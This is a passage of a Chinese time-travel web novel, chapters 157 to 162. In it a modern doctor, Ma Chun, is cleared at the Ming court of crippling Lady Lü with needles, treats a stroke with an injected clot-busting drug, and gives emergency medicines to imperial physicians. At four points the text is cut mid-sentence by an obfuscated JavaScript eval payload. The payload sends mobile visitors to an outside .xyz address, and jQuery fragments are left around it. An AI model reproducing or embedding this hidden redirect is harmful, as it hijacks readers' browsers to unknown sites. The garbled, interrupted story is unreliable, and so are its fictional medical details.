“父皇!母后!”她声音嘶哑尖厉,“为儿媳做主啊!”
朱元璋眉头紧锁,威严肃杀:“堂堂太子妃,这般形状,成何体统!”
吕氏猛地抬头,泪涕糊了满脸,“是他!是马淳!是他用针扎瘫了儿媳的腿!他要儿媳生不如死!求父皇母后严惩此獠!”
她额头青紫肿胀,狼狈不堪。
马皇后凤眸微沉,掠过吕氏扭曲的脸,视线落到她那无知无觉的左腿上。
她没说话,只轻抿了唇。
旁边随侍的太子朱标,脸上青红交错,强压着窘怒。
朱元璋脸色骤然阴沉,目光如电扫过朱标,声如炸雷:“放肆!马国公屡立奇功,救皇后和长孙于危厄,忠心天日可鉴!你疯言疯语,攀污国戚,该当何罪!”
他雷霆之怒下,殿内空气冻结。
吕氏如遭重锤,伏在地上浑身剧颤,嘶声力竭大喊:“儿媳没有疯!真是他!父皇明察!明察啊!”
“够了!”朱元璋暴喝打断,“身为储妃,毫无体统!皇后,太子,随朕出去!”
他拂袖转身。
马皇后深深看了一眼伏地啜泣的吕氏,无声轻叹,跟上朱元璋步伐。
朱标脸色铁青,又羞又怒,朝宫人厉喝:“还不扶起太子妃!”
旋即匆匆跟出。
偏殿内,朱元璋面沉如水,负手而立。
张太医等几位须发皆白的老院判肃立成一排,头埋得极低,空气凝重得能滴下水。
“如何?”朱元璋问
张太医用袖子擦了擦冷汗:“启禀陛下,娘娘此症……确属疑难。脉象沉滑而滞,左尺尤虚。左腿失用,无知无觉,皮温略低,却无红肿挛缩之兆……”
“朕问的不是这些文绉绉的套话!”朱元璋不耐地打断,“直说!可能治?因何所致?”
……
第158章朱元璋:吕氏瘫了对大家都好!!
李太医硬着头皮接口:“臣等查阅古籍,此状酷似风痹入髓之暴发急症,然发病毫无预兆,偏瘫一处,太过罕见。非一般‘中脏腑’之昏厥,亦非‘中经络’之渐进麻木……”
“可能复原?”朱元璋单刀直入。
几位太医互望一眼,皆从对方眼中看到惶恐无奈。
张太医重重叩首:“微臣……微臣等无能。此症奇诡,古籍所载疗法尽皆试过,收效甚微……复原之期,实在难料。”
殿内死寂。
朱元璋久久不语。
马皇后眉间忧色浓重,朱标垂首立于一侧,手心微湿。
“朕最后问尔等一句,”朱元璋的声音陡然拔高,“太子妃这身瘫痪,可能为针砭之术所致?比如,国公上次为她施的那几针?”
“陛下!”张太医猛地抬头,失声惊呼,连带后面几位老臣也跟着剧烈摇头,动作整齐划一,眼中全是难以置信的骇然。
“陛下明鉴!”张太医苍老的声音因激动而发颤,“绝无可能!国公当日施针,仅在‘阳关’等寻常穴道,意在祛风调气,手法精熟有度!针后太子妃风邪之癫狂立时缓解,此乃臣等亲眼所见!”
他激动得胡须直抖:“古今医案汗牛充栋,老臣行医数十载,从未听闻亦未见记载,有施一针即可顷刻废人半身之奇技!
“此非人力所能为,只恐……只恐神仙手段!国公爷精于医道,但终究是血肉凡躯,岂能有此通天彻地之能?娘娘此疾,实为宿疾爆发或风邪奇变!绝无受针损伤之可能!”
“陛下,”另一位须发皆白的老太医也颤巍巍叩首,语气斩钉截铁,“张院判所言极是!施针致残于医理绝不可通!国公爷人品贵重,活人无数,苍天可鉴!断不会行此悖逆歹毒之事!太子妃所言,实乃病中心神混乱、风痰迷窍之妄语!”
“老臣附议!”
“微臣亦作此想!”
几位太医连连叩首,声音虽老迈,却异常坚定。
朱元璋紧绷的肩背肉眼可见地松弛了下来。
马皇后一直紧握在袖中的手,悄悄松开了些。
太子朱标一直僵硬的脊背也软了三分,眼底深处那沉重的阴翳散去大半。
父皇那一句“可能为针砭所致”,虽是为堵悠悠众口,可也像一根刺扎进他心里。
如今这刺,终是被这几位杏林泰斗用毕生声名和医理根骨,生生拔除碾碎了。
……
坤宁宫。
马皇后端坐窗前,吕氏那张因绝望和怨恨扭曲的脸,在她眼前挥之不去。
皇上雷霆震怒,斥责吕氏失仪、攀诬功臣。
太医们也斩钉截铁地否定。
一切都顺理成章。
可马皇后心中,并未真正平静。
她并非毫无疑虑,那疑虑并非源于吕氏的指控本身,而是源于人心深处的算计。
“雄英……”她低语,声音轻得像叹息。
身旁侍立的大宫女云袖,是她心腹,闻言眼睫微垂,静静听着。
马皇后没有看她,仿佛自言自语:“那孩子,原本是要熬不过去的。多少人以为他必然夭折。他的存在,碍着了谁的路?”
云袖微微躬身,声音极低:“娘娘是说……太子妃?”
无需言明,答案昭然若揭。
朱雄英,皇帝和太子的嫡长孙,一旦存活并健康成长,继承的脉络便不可动摇。
这如同一道无形的铁墙,横亘在那些觊觎着、期盼着权力变局的人面前。
谁得利最多?
谁失意最深?
答案直指东宫的那个女子——吕氏。
吕氏焉能不恨?
她恨那些从悬崖边拉回朱雄英的人。
恨夺走她儿子允炆最大倚仗的人。
马淳首当其冲。
所以,当吕氏在巨大的打击下,嘶喊着马淳的名字时,马皇后心中,升起一种冰冷的了然。
污蔑?
或许。
但这份污蔑背后那刻骨的仇恨,却是真实存在。
没有真凭实据?
那又如何。
这深宫之中,许多比这更阴更无法实证的污蔑,何曾在少数?
真正的证据,常常掩埋在欲望与算计下,永不见天日。
皇帝的反应,太医院的反应,太子的反应,都在马皇后预料之中。
他们共同维护着一个局面:功臣清白,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15935091|176263||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
储妃癫狂。
这是维护体统、稳定朝纲的最快刀法。
皇帝来了,他挥退侍从,暖阁内只剩帝后二人。
朱元璋坐到马皇后对面,端起温着的参茶喝了一口。
“那妇人彻底疯了。”朱元璋放下茶盏,语气平淡,听不出情绪,“满口胡言,全无体统。”
马皇后轻轻“嗯”了一声,并未接话,只是静静替丈夫续上热茶。
朱元璋的目光落在马皇后沉静的脸上。
夫妻多年,一个眼神便能明了大半。
他知道她在想什么。
“太医怎么说?”马皇后终于开口问。
“奇症。难解。”朱元璋言简意赅,“几个老家伙愁眉苦脸,翻烂了书,没个章程。说她风邪奇变,痹入骨髓。”
马皇后点点头。“那腿……果真无望?”
朱元璋沉默片刻。“太医说,脉象非绝,或有转机。但眼下,她就是块木头。无知无觉。且让她瘫着。也好。”
这个“也好”意味深长。
瘫着的太子妃,比一个满心怨毒、行动自由的太子妃,更让人“安心”。
马皇后听懂了其中的寒意和算计。
她没有戳破。
“马淳那边……”朱元璋话锋一转,“太子已使人送过东西,表了态度。太医们更是极力为他澄清。这小子立下大功,朕不会让人平白污他名节。他如今一心在外悬壶,很好。朝野上下,也信他。”
这是定调。
无论吕氏如何嘶喊,马淳的清白就是铁板钉钉,不容任何人再质疑。
那指控,只能是疯话。
马皇后心中微涩。
她理解皇帝的决定。
为了社稷的稳定,为了功臣不受无端风波,必须如此。
甚至……或许皇帝内心深处,也乐见吕氏因这“疯癫”而彻底边缘化?
“只是苦了标儿。”马皇后幽幽道,带着一丝母亲的心疼。
太子朱标,夹在其中,内心煎熬可想而知。
朱元璋哼了一声:“他身为储君,这点风波若都扛不住,难堪大任!让他多看顾雄英便是。那孩子,经此一事,更要好好教养。”
……
第159章嘴歪眼斜!急性脑血栓!!
吕氏的指控,如同投入深渊的石子。它没有激起惊涛骇浪,甚至水花都被一只无形的大手瞬间抹平。
但这并不意味着它不存在。
朱元璋离去处理政务后,马皇后没有立刻休息。
她带着云袖,走向东宫孙儿朱雄英的寝殿。
小殿下已经睡了。
殿内弥漫着安神香和淡淡的奶香气。
马皇后轻轻走到床边,借着窗外透进来的月光,看着孙子熟睡的小脸。
脸颊是健康的红润,不再是之前的苍白和死气沉沉,呼吸平稳悠长。
他的命,是马淳抢回来的。
他的存在,改变了太多人的命运轨迹。
奶娘低垂着头,恭谨地侍立一旁,大气不敢出。
马皇后伸出手,极轻极轻地抚过朱雄英温软的额发。
指尖感受着那鲜活的温度。
这份生机勃勃,正是所有漩涡的中心。
她收回手,目光落在奶娘身上,“好生照看殿下。外面一切喧扰,都不得入他的耳。让他安安静静地睡,安安静静地长。”
“是,娘娘,奴婢谨记。”奶娘低头应诺。
马皇后最后看了一眼熟睡的孙儿,转身离开。
宫廷争斗的血腥气不会消散。
它只是换了方式。
这一次,它以一场荒诞的瘫痪和无力的控诉暂时告一段落。
马淳依旧是他活人无数的徐国公。
吕氏,成了太医口中突患怪疾、心智混乱的可怜虫。
风浪平息了吗?
马皇后知道,没有。
她能做的就是好好的守护好孙子,守护好后宫,守护好自己的弟弟。
……
日头爬上三竿,小青村的医馆前院静悄悄的。
徐妙云坐在廊下,缝着一件柔软的婴儿小袄,神色安宁。
马淳在药圃边细心翻晒草药,阳光蒸腾起清苦的香。
东宫的惊涛骇浪似乎远在云端之外。
这里只有阳光、草药和等待的病人。
突然,一阵杂乱的脚步声由远及近,打破了宁静。
“马大夫!救命啊!马大夫!”
几个壮实的汉子满头大汗,步履踉跄地冲进院子。他们用简易的门板抬着一个人。
那是个须发花白的老者,双目紧闭,脸色灰败,半边身子瘫软。
“马大夫!我家老叔公一早说话就不利索,方才倒在地上!半边身子不能动了!”
为首的汉子声音颤抖,带着哭腔。
周围晾晒药材的村民围拢过来,小声议论。
“像是中风了!”
“老天爷,这么快就发作?”
马淳立刻放下手中药耙,快步上前。
徐妙云也放下针线,迅速指挥:“快抬进来!放诊床上!”
汉子们小心翼翼地把老人抬进诊室。
老人右半边身体完全瘫痪,口角歪斜,流出涎水。
马淳俯身,指尖迅速搭在老人枯瘦的手腕上。
脉象弦硬而急,沉取尺脉空虚。
他翻开老人的眼皮,瞳仁尚正常,但光反应迟钝。又捏了捏右臂,肌肉松弛如棉絮。
“口眼歪斜,半身不遂……”马淳声音沉稳,“是中风急发。”
几个汉子顿时面如土色。
“马大夫!您行行好,救救我家老叔公吧!”
“他才五十出头!还没享过几天清福啊!”
徐妙云忙去扶他们:“起来说话,别耽误马大夫看诊。”
她目光看向马淳,带着无声的询问。
马淳快步走到诊室角落的布帘后,那里放着他兑换出来的基础设备。
他拉动帘子遮好视线,意念一动,一台便携式CT机无声出现。
马淳迅速启动设备,柔和的嗡鸣声在帘后响起。
他把老人小心挪到扫描床上,老人的孙子见状不解又惊慌。
“大夫,这是……”
“别急,查查病根。”马淳简短安抚。
屏幕上快速出现清晰的脑部断层影像。
果然,左侧大脑半球一片显眼的缺血阴影区域,一根稍粗的血管内有明显的血栓形成影像!
急性脑梗塞!
时间就是生命。血栓堵塞时间越长,脑细胞死亡就越多。
传统的汤药针灸缓不济急!
马淳心中迅速做出决断。
他关闭CT机收好,回到老人床前。
“脑内有血脉堵塞,淤血瘀阻。”马淳用百姓能理解的话解释,“得马上疏通,否则拖久了人就真没用了。”
“啊!疏通?怎么疏通?”汉子们慌了神。
马淳他打开药柜底层一个不起眼的檀木箱。
里面整齐排列着各种精巧的器械和特制药剂。这箱子平常藏在普通药柜后。
他取出一个消毒过的玻璃注射器,又从特制的保温药盒里拿出一支密封安瓿。
“嘶啦”一声,他掰开安瓿细口。
他用注射器精准抽取了里面的澄澈药液。
“小老儿这条命……就托付给大夫了……”老人似乎恢复了些意识,浑浊的眼中全是祈求,含混不清地说。
“放心。”马淳只说了两个字。
他找到老人手臂上的静脉血管,消毒后,稳稳地将针头刺入。
冰凉的药液缓缓推入老人的血液。
这是现代溶栓药,链激酶。它能快速溶解新形成的血栓。
徐妙云站在一旁,默默准备好温水和干净布巾,以备不时之需。
马淳全神贯注,盯着老人的反应。
老人的孙子紧张地握着拳,眼睛一眨不眨地看着祖父的脸和那只不能动的手臂。
时间仿佛凝固。只有
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15935092|176263||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
药液一滴一滴注入血管的声音。
大约过了半个时辰,惊人的变化发生了!
老人原本灰败的脸色开始转红润!
一直紧闭的左眼,眼皮颤动了一下,竟缓缓睁开一条缝!
那只瘫软的右手,食指竟然极其轻微地动弹了一下!
“动了!爷爷的手指动了!”老人的孙子失声尖叫,泪水瞬间涌出。
周围帮忙的村民也发出低低的惊呼,不敢置信。
“天爷!真活过来了!”
“神了!马大夫真是神仙手段!”
那一直流涎的嘴角似乎努力地想向中间收拢。
“嗬……嗬……谢……”老人喉咙里迸出几个含糊的音节,比刚才清晰有力多了!
马淳松了口气,拔掉针头,用棉球压住针眼。
“血脉有松动的迹象,堵塞在疏通。”马淳语气仍沉稳,但嘴角带了点笑意。
“太好了!太好了!老叔公有救了!”几个汉子喜极而泣,又要跪下磕头。
“不可!”徐妙云拦住他们,“病虽急发,如今淤阻初通,但损了精气神,仍需静养。”
马淳点头:“不错。这疏通药液刚猛,不能多用。后续还需服汤药细细调理血脉瘀滞,补养脏腑元气。我再为他施针活络。”
他取出银针,在老人头部的百会、风池、廉泉,手臂的曲池、合谷,腿部的足三里、阳陵泉等穴位,行针疏通经络之气。
老人的呼吸更趋平稳,喉咙里的痰音也减弱不少。
诊室外已挤满了闻讯赶来的村民,人人脸上都带着敬畏。
“先抬回去静养,不可激动喧哗。”马淳嘱咐。
“是!是!全听马大夫的!”老人的家人连连答应。
大家小心翼翼地将老人抬回家。
诊室终于安静下来。
徐妙云看着汗湿了鬓角的马淳,递过一杯温茶。
“累了吧?这一通下来。”
马淳接过茶杯,一饮而尽,抹了下嘴。
“幸好发现及时,又有药。”他低声说,“若再晚一两个时辰,神仙难救,只能落个终身瘫痪。”
他脑海中响起熟悉的提示音:
【叮!成功救治急性中风患者,挽救部分脑功能,奖励积分10点!】
马淳撇了下嘴。
10点。
一个普通村民的命值10点。
那日给那位“富户”老者治疗高血压,随手一测,轻轻松松50点。
那天给那个流鼻涕的侍卫治疗重感冒,也才给100点。
权贵的命,与贫民的命,在这冷冰冰的系统计算里,亦是云泥之别。
要兑换那套十五万积分的乡卫生所全套设备,还得治多少这样的“普通”性命?
他摇摇头,不再想。饭要一口一口吃。
……
第160章价值几十亿的豪宅!!!
小青村,医馆。
这日,午后阳光正好,送走最后一位病人,医馆显得格外清闲。
马淳刚整理完新晒的药材,徐妙云便走了过来,“夫君,今日难得清闲,不如我们去秦淮河畔看看?国公府的修建,有些日子没去瞧了。”
马淳想起那浩大的工程,“那府邸……看着总觉太过铺张,住惯了这医馆小院,倒有些不自在。”
徐妙云轻笑,自然地挽住他的胳膊:“堂堂徐国公,府邸规制本是皇家恩典,岂能真的毫无体面?况且,那里将来也是我们孩儿的家。去看看进展也好。”
马淳看着妻子的眉眼,心中一软,“你说得对。走吧,去看看咱们的‘新家’。”
马车沿着熟悉又略感陌生的路驶向秦淮河畔。
远远地,便看到一片热火朝天的景象。
工地周围围起了高墙,隔绝了外界的喧嚷与尘土。
工匠穿梭如织,吆喝声、凿石声、夯土声汇成一片充满生机的忙碌乐章。
越过半成形的围墙,已能窥见其内气象。
规制是敕造的国公府,气象自然不同凡响。地基深阔,占地比寻常公卿府邸大上许多。已初具规模的主体建筑,沿中轴线渐次铺陈。
最前方,五间三启的朱漆大门初现雏形,门钉在阳光下泛着冷硬的光。
高耸的歇山顶覆着尚未铺就的琉璃瓦,但斗拱梁柱的雄浑气势已然毕露。
几根粗大的抱柱石矗立,等待着承载最终的威严门楼。
进入大门是开阔的前院广场,青石板已铺好大半。
再往里,正厅飞檐高挑,屋脊两侧精美的吻兽正在等待最后的点睛。
巨大的月台宽敞平整,足够容纳盛大的仪仗。
两侧的抄手游廊蜿蜒连接着东西厢房,框架清晰。
巨大的木料堆积在月台两侧,散发着清新的松香,几个匠人正在细细打磨。
穿过前厅庭院,已能隐约看到后方内宅区域的轮廓。
精致的楼阁亭台初具雏形,层叠错落。
小桥流水的地基也已挖好,引秦淮活水的沟渠连通府内几处待建的湖泊。
庭院布局显然经过了精心设计,预留的花园位置极佳,想必未来能尽收秦淮风光。
远处,后罩楼的骨架已高高立起。
那是最后方、最私密的所在。
整个府邸虽然脚手架林立,尘土木料满地,但恢弘大气、结构谨严的格局已然形成。
马淳站在工地边上,望着眼前这比自己曾经幻想过无数次还要气派不知多少倍的府邸景象,一时有些失语。
这哪里是宅子,一座小型城池也不过如此了。
记忆中医院急诊室的大小,甚至不及眼前这一隅工地辽阔。
“这……这地方也太大了吧?”他指着那片初具规模的宅院群落,声音里带着难以置信,“前厅到后楼,怕不得要走上一刻钟?这院子……抵得上我们医馆那片草场了。国公的规制都是这样……呃,豪阔么?”
徐妙云理解丈夫那一丝源自本性的局促。
她靠在他身边,柔声道:“夫君,规矩如此。这是陛下亲赐的荣耀,也是你应得的体面。我们住哪里,并不妨碍你是悬壶济世的马大夫。况且,”她目光扫过忙碌的工匠,“这府邸,并非只为你我而建。它将来会是孩子们的根基,是我们徐家、马家在这应天的根。”
马淳顺着妻子的目光望去。
确实,这府邸的规制,彰显着地位,也承担着未来。
想到未出世的孩子会在这样宽敞的庭院中长大,那份不自在稍稍消减。
他握紧徐妙云的手,轻轻吁了口气,“好吧。你说得对。牌面……是该有的。总不能给咱俩的娃儿丢脸不是?只是这大门……日后怕是要被病人踏破门槛了。”
他半是无奈半是调侃地说着,眼神落在即将落成的国公府大门上,已经在想是否该在旁边辟个义诊耳房。
徐妙云被他逗笑:“徐国公亲自开诊,恐怕连这宽敞大门都要排起长队了。”
管事的督造官员眼尖,看到主人伉俪亲临,连忙小跑着过来,满面堆笑,长揖到地:“下官参见国公爷!参见夫人!府邸工程进展顺利,木材石料俱是上乘,匠人也是京中最富经验的老师傅。国公爷和夫人可要进去细察?有任何要求,但请吩咐,下官定当竭力办妥!”
马淳对这些繁琐礼节和营造细节并不精通,只觉得管事过于热情。
他随意摆摆手,“不必了,你辛苦了。按着规矩和图纸来便是。对了,靠东边那片预留的空地,花木不必种太名贵的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15935093|176263||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,多种些常见的草药花卉就好,香气宁神,也不必过于娇贵。”
管事一愣,连忙记下:“是是是,下官明白。种些当归、忍冬、芍药如何?花开时也好看……”
“嗯,挺好。”马淳点头,“沟渠引的秦淮活水,过滤要做细些,莫要让污浊流入后宅,能行么?”
管事拍着胸脯保证:“国公爷放心!活水引入必建沉淀水池,水质定有保证。夫人您看可有其他吩咐?”
徐妙云心思细腻些,指着远处初具轮廓的内宅院道:“那里面的假山……垒石匠人说是寻了太湖石?石头缝要垒得牢固些,若有缝隙过大,将来藏了蚊虫鼠蚁,或是不小心刮到孩童裙角,反倒不美。”
管事连连应是:“夫人思虑周详!下官定当严令工匠,缝隙务必填实,棱角之处也多加打磨圆润。”
两人又略微看了一圈,问了问工期大致还有多久。
管事恭敬答了大约还需半年左右便能完工主体,内饰还需时间。
见天色不早,加上工程声音吵闹,马淳和徐妙云便决定返回医馆。
管事恭恭敬敬将两位主人送上马车。
车轮辘辘前行,徐妙云靠在马淳肩头,想起今日所见府邸的规模,又想到宫中,轻声道:“如今这般安宁,倒真希望吕氏……能就此安生些。”
她的语气里没有幸灾乐祸,只有一丝对平静的珍惜。
马淳握住她的手,没有接话。
回到医馆不久,太阳还未完全落下。
一阵不算急促但很沉稳的车马声停在医馆门口。
来的竟是太医院副院判张太医,身旁还跟着一位年轻些的太医,像是他的得意弟子。
“国公爷,冒昧打扰了。”张太医先行了礼,“今日前来,实则是有一事,想向国公爷讨教。”
马淳请他二人坐了。徐妙云奉上清茶。
张太医没有绕弯子,从医箱里小心取出一沓厚实的脉案笔记。
纸张微微泛黄,显然有些年头了。“国公爷请看。”
张太医翻开笔记,指向其中一页,“这是当年太祖皇帝的御诊记录。其中有‘头目时有发眩,左寸沉而尺弱,右关弦大’等语,再参照后续用药……晚辈等私下以为,陛下早年,似乎便有风疾之倾向。”
……
第161章如果皇帝突然脑袋抽了怎么办?
年轻太医在旁边补充道:“只是陛下早年龙体康健,且讳疾忌医,只按寻常劳思过度调理,未能深究此隐患。
“如今陛下春秋渐高,处理国事依旧宵衣旰食……国公爷,”
他带着一丝恳切,“我等近几次请平安脉,虽未见大碍,但陛下左手脉象,偶然有瞬间的滞涩之感,极其微弱,一闪而过。”
张太医神色凝重地点点头:“是极。我等反复切脉,也只偶尔能捕捉到一两次,飘忽难定。观其面色神采依旧,询其身体有无异样,陛下也只是挥手言无碍。
“可偏偏今日,我等听闻国公爷在城中,妙手回春,救治了一位突发中风、半身不遂的老者,竟是当场施药便显奇效……”
他放下脉案,看着马淳,“国公爷医术通玄,我等自愧弗如。陛下虽讳莫如深,但我辈为医者,既疑其有‘风根’伏脉,岂能不万分谨慎?
“不知国公爷处,可有……更精微确凿之法,或如您今日所用的神奇药术,能解此等‘风根’隐兆?若能有只言片语指点,或惠赐些许如那老者所用之奇药,俾使我等预先备之,则社稷之福,陛下之幸!吾辈感激不尽!”
两位太医的态度极其诚恳,甚至可以说是不耻下问。
马淳看着面前泛黄的御脉案记录,又听着两位太医关于皇帝“风根”隐兆的描述和担忧,心中念头飞快转动。
他记起从系统兑换,一直小心翼翼藏着、以备不时之需的青霉药品药箱。
箱子里的现代药,对解决古代这种难以准确诊断的脑血管“风根”(即现代心脑血管病的早期信号)具有压倒性的优势。
“医道无涯,相互参详罢了。”马淳没有直接应允,也没有推脱,“陛下之体,关乎天下,确宜万分警醒。二位所见脉象瞬间滞涩之象,值得深究。”
他略作思索,似乎在权衡言辞:“风疾之根,根在血脉。阻塞不通,则如河流淤塞,或决堤千里,或断流干涸。贵院若有能细致窥测体内气血通流状况之法器……譬如可细微察知血脉壁之厚薄通畅者……或更为稳妥。”
张太医和年轻太医闻言,眼中俱是迷惑与无奈。“国公爷所说‘窥测血脉通流’之器……闻所未闻,太医院中,实无此等神物啊!”
张太医苦笑摇头,这超出了他们的认知范畴。
马淳点点头,这在意料之中。
他并未直接拿出系统药箱,而是站起身:“二位稍坐,容我想想。”
他走进内室,从最隐秘的药柜暗格里取出那个不起眼的、类似现代急救包大小的特殊金属箱——青霉素药箱。
他打开箱子,里面整齐地码放着各种标注有现代分子式名称的药品。
链激酶、阿司匹林、他汀类药物……
还有一些基础的凝血及溶栓试纸。
每一样,对这个时代而言,都是神迹。
马淳从其中取出几片包装严密、标注清晰的肠溶阿司匹林,以及一张详细的服用事项说明,系统自动生成的文言文版本。
又取出几支小瓶装的链激酶冻干粉剂和相应的无菌溶剂针管。
最后,他拿出一小块试纸。简化版的血栓初筛试纸,系统功能有限,只提供一个概率风险提示。
他仔细地将药品分门别类装入几个干净的小瓷瓶和小木盒,附带好说明书,再将它们稳妥地放入一个看似普通的紫檀药盒内,盖好。
捧着药盒回到前堂,马淳神色郑重:“张院判,孙太医。此物干系重大,务必慎之又慎。”
他将药盒递过去。
张太医双手接过,沉甸甸的。
马淳压低声音,字字清晰:“盒内有三种药。”
“其一为散剂,名为‘归元化滞散’。乃借鉴古籍残方所制,主理气活血,疏通微瘀。每日只需少许,温水送服,长期服用可稍减血脉燥硬之苦。
“此药温和,陛下若讳医,可奏禀为养生滋补之方,每日服用些许,应无妨。具体剂量用法,内有详录。”
“其二为针剂,名为‘破邪回春水’。
“此药效猛,非万不得已时不
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15935094|176263||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
可用!仅在察见陛下真如那老者般突然言语不清、半身不遂、口眼歪斜等中风急发之状时,立刻施救!务以最快速度,将此药水注入体内血脉。
“此药能争分夺秒,或可化险为夷,但时机至关重要!逾时则效减,切记!切记!此药保存需格外留意阴凉避光,内有详录。”
“其三为‘阴阳玉符’。此符……非常规之物。若陛下近旁侍者或御医觉察陛下精神有不明缘由之恍惚,或言语有极轻微之含混时,可取陛下指尖血一滴点于符上,观其色变。符若隐现晦暗血色瘀纹,则示血脉微恙,或有堵塞之险,此为警示,宜加倍小心,严密观察脉象,或即刻请我来诊视!此符只能用一次。”
他顿了顿,看着两位肃然敬听的太医:“此盒交予二位,非他意。只为防范于未然。陛下龙体安康,此物自当永远封存,是为上策。若有疑虑,万勿轻动,随时可以找我商议。如何向陛下进言用药,还请二位多多费心斟酌。”
两位太医捧着沉甸甸的药盒,听着马淳这闻所未闻的奇药介绍和详尽用法,心情如同翻江倒海。
这其中的信息量巨大到让他们一时难以消化。
那“归元化滞散”听起来似是能预防风症的灵丹!
那“破邪回春水”更是能在阎王殿门口抢人的仙露!
至于那“阴阳玉符”,玄奥之处已然超出他们的想象!
张太医喉结滚动,激动得老手都有些颤抖。
他看着马淳年轻的面容,心中只剩下无比的感激与敬畏。
这位国公爷,当真是天眷之人!
太医院所遇难题,在他面前,竟仿佛拨云见日,有了应对的曙光!
“国公爷大恩大德!我等……我太医院,替陛下,替这大明天下……”张太医声音哽咽,几乎要跪下。
马淳连忙扶住他:“张大人言重了。此乃医者本分,况且我身为太医院院判,也总得帮助同僚避难才是。陛下安危重于山岳,我们谨慎行事,尽心竭力便是。”
……
第162章反射**感神经营养不良
清晨的露水还挂在门外的草叶上。
小青村医馆的木门刚打开。
门外响起杂乱的脚步声。
“马大夫!马大夫救命啊!”一个中年汉子满头大汗,背着一个枯瘦的老者冲了进来。
后面跟着一个抹泪的妇人和两个半大少年。
“怎么了?”马淳立刻放下手中药草迎上去。
汉子小心翼翼地把老人平放在诊床上。
老人闭着眼,脸色蜡黄,只有嘴唇哆嗦着,发出压抑的呻吟。
“马大夫,”汉子喘着粗气,指着老人的左腿,“我爹这腿!疼!疼得受不了啦!整夜整夜地嚎,觉都睡不成!”
徐妙云放下针线走了过来,递上一杯温水给汉子。
汉子摇摇头,顾不上喝。
马淳俯身细看老人。
老人的右腿僵硬地微曲着,裤腿下露出一截萎缩变形的小腿,显然是陈旧性瘫痪。
但汉子指着喊疼的,却是那条完好的左腿。
左腿看起来毫无异状,既无红肿也无破溃。
“疼的是这条好腿?”马淳手指轻轻搭上左腿膝盖上方,确认道。
“对对!就是这条好腿!”汉子急切点头,“您看,好好一条腿,怎么就能疼成这样?怪得很!”
旁边抹泪的妇人也忍不住开口:“是啊,马大夫,好多大夫看过了,都说是装的,要么就说我爹疯了!说他那条瘸腿疼还能信,怎么好腿疼?说出去都没人信!可……可我爹是真疼啊!”
马淳神色专注,他没有急于下定论。
“老先生,听得见吗?”他温声询问。
老人费力地睁开浑浊的眼,看向马淳。眼神里是巨大的痛苦和一丝求救的光。
“左腿……疼……”老人声音嘶哑微弱。
他干枯的右手颤抖着指向自己的左大腿,“里面……像有刀子……搅……”
马淳点点头。“老人家,别急,我看看。”
他不再多问,仔细地开始检查。
从足背,到小腿,再到膝盖、大腿……
动作轻柔但利落,他按压不同的肌肉群,观察老人的反应。
老人每一次因按压左大腿某处区域而身体剧颤、惨叫出声时,马淳的眼神就凝重一分。
徐妙云安静地站在一旁,手里拿着干净的布巾预备着。
良久,马淳检查完毕,他直起身。
病人的家属全都紧张地望着他。
“马大夫,”汉子搓着手,“您……您看出啥来了?真是装的?还是……真有病?”
马淳面色沉静。
他摇摇头,语气肯定。“不是装的,老人家是真疼,病也的确是病。”
他顿了顿,确保所有人都在听,“而且是一种很少见、很容易被误会的病症。”
一句话,让汉子和妇人都愣住了。
连之前几个认定老人“装疯”的少年也露出了惊讶的神色。
“啥病啊马大夫?”汉子急切地问,“能治吗?”
“能治。”马淳语气温和坚定。“但这病,很少见。它叫‘反射**感神经营养不良’,或者通俗点,可以叫‘神经错乱痛’。”
“神……神经错乱?”汉子显然没听懂。
马淳知道需要解释。
他指着老人的右腿,“大家看,老先生这条右腿,瘸了多少年?”
“快十年了!”妇人连忙说,“打从摔坏后,这腿就没知觉,动不了。”
马淳点头。“对,就是这条腿早年受了重伤,里面负责管感觉的神经,在那次伤里也严重受损了,但是,身体是个复杂的整体,有时候,某处出了问题,病根子却会在意想不到的地方冒头。”
